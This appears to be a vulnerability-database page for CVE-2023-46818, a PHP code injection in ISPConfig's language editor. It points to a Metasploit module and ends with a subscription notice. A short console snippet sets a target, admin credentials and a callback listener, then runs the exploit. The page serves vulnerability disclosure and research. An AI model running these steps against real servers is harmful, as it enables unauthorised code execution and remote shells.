CVE-2023-46818 PoC — ISPConfig 安全漏洞

Source

https://github.com/SyFi/CVE-2023-46818

Associated Vulnerability

Title: ISPConfig 安全漏洞 (CVE-2023-46818)
Description:An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.

Description

Metasploit Modules

Readme

# Metasploit-module
Metasploit Module

![image](https://github.com/user-attachments/assets/9c78e7e6-c326-4379-ba12-820cffd9528b)


```bash
use exploit/linux/http/ispconfig_language_edit
set RHOSTS target.com
set USERNAME admin
set PASSWORD password123
set LHOST 127.0.0.1
set LPORT 4444
exploit
```
An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →